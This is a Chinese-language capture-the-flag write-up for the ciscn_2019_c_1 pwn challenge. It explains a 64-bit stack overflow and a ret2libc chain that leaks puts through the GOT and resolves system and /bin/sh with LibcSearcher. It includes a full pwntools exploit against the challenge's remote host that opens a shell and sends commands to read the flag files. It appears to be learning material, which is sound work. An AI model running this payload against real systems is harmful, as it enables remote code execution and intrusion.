1.Checksec & IDA Pro
64位ELF,开启了部分RELRO以及NX
RELRO 是一种用于加强对 Binary 数据段的保护的技术。RELRO 分为 Partial RELRO 和 Full RELRO
NX
由 CPU 提供支持,在页表中有Non-executable flag, 来限制一块内存区域不可执行。
主要就需要看这3个函数,encrypt、main、begin
2.栈溢出漏洞
存在这个函数中,大小为
80个字符
b'A' * ( 80 + 0x08 )
不止这种方法可以获取大小,还有两种方法。
IDA Pro中查看的大小有时候可能是错误的,大部分时间以gdb动态调试为准。
常规情况下应该是使用 cyclic -l xxxx 查询。
1. 记事本(然并卵)
把加密后的文本复制到新建文本文档中,查询RBP的前4个字符
84 - 4 即可。
2.gdb
需要安装 peda 、 gef。
由于安装失败报错,所以没有图片演示。
3.IDA Pro
上面说过了
32位和64位程序在函数调用的方式存在区别。
3.构造PoC
Payload思路如下:
( b'A' * ( 80 + 0x08 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) )
思路解析:
--------------------
b'A' * ( 80 + 0x08 )
需要填充的字符数
80 为 0x50 的10进制
0x08 因为是64位程序
--------------------
p64(pop_rdi)
64位程序中用来传参
--------------------
p64(puts_got)
p64(puts_plt)
用got表中的puts泄露真实地址的后3位,后3位不变。
通过 LibcSearcher 搜索对应的 Libc
即可计算出 LibcBase 也就是puts的真实地址,作为基址。
用来计算 system , /bin/sh 的偏移地址。
--------------------
p64(main_addr)
方便之后进行调用shell函数,让程序返回到main函数。
--------------------
完整PoC
from pwn import *
from LibcSearcher import LibcSearcher
#from LibcSearcherX import *
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_c_1")
#libc = ELF("/root/Desktop/PwnSubjects/libc-2.23 (1).so")
io = remote("node4.buuoj.cn",25933)
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_c_1")
puts_plt = elf.plt['puts'] #获取puts的plt表地址
puts_got = elf.got['puts'] #获取puts的got表地址
rdi_addr = 0x400c83 #用来传递参数的地址
main_addr = elf.symbols['main'] #主函数的地址,用来返回执行第二次
ret=0x4006B9 #栈对齐
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_addr = flat( "A" * 0x58 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #需要输入0x58个a才能溢出栈,大小为0x50+0x08。rdi中存放了puts_got的真实地址,因为是64位程序,puts_plt表调用puts函数打引puts_got值。然后返回到main地址再执行一次程序,方便后续发送用来开启shell的payload
#payload_addr = ( b'A' * ( 80 + 0x08 ) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) +p32(4) )
io.recv()
io.sendline(b"1") #输入1后输入的地方才是需要溢出的地方
io.recvuntil("encrypted\n")
io.sendline(payload_addr)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
#io.sendline(payload_addr)
puts_addr = u64(io.recv(6).ljust(8,b'\x00')) # 接收puts的真实地址
#write_addr = u32(io.recv(4))
print("[+] Payload : \n",(payload_addr))
#io.recvuntil('Input:\n')
#io.sendline(payload_addr)
#write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("[+] Leacked.")
print(("[+] Real Address : "),hex(puts_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)
# Dump Dump是给LibcSearcher用的
libc = LibcSearcher("puts",puts_addr) #使用LibcSearcher在绝大部分libc中搜索puts的后3位地址
libcbase = puts_addr - libc.dump('puts') #使用puts的真实地址作为基址
system = libcbase + libc.dump('system') #计算system与/bin/sh偏移值
bin_sh = libcbase + libc.dump('str_bin_sh')
# Sym Symbols 是LibcSearcherX的函数调用方式
#libc = LibcSearcherLocal("puts",puts_addr)
#libcbase = puts_addr - libc.sym['puts']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
#libcbase = puts_addr - libc.symbols['puts']
#system = libcbase + libc.symbols['system']
#bin_sh = libcbase + next(libc.search(b'/bin/sh'))
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(puts_addr))
print("[+] Base Address: ",hex(puts_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
# 阶段4 获取shell
payload = ( flat( "A" * 0x58) + p64(ret) + p64(rdi_addr) + p64(bin_sh) + p64(system) )
#payload = ( b'A' * ( 136 + 0x04 ) + p32(system) +p32(0) + p32(bin_sh) )
#io.sendlineafter("Input:\n",payload)
io.recv()
io.sendline('1')
io.recvuntil("encrypted\n")
io.sendline(payload)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()
成功获取shell
远程调试使用 libc 0 ,本地调试使用 libc 1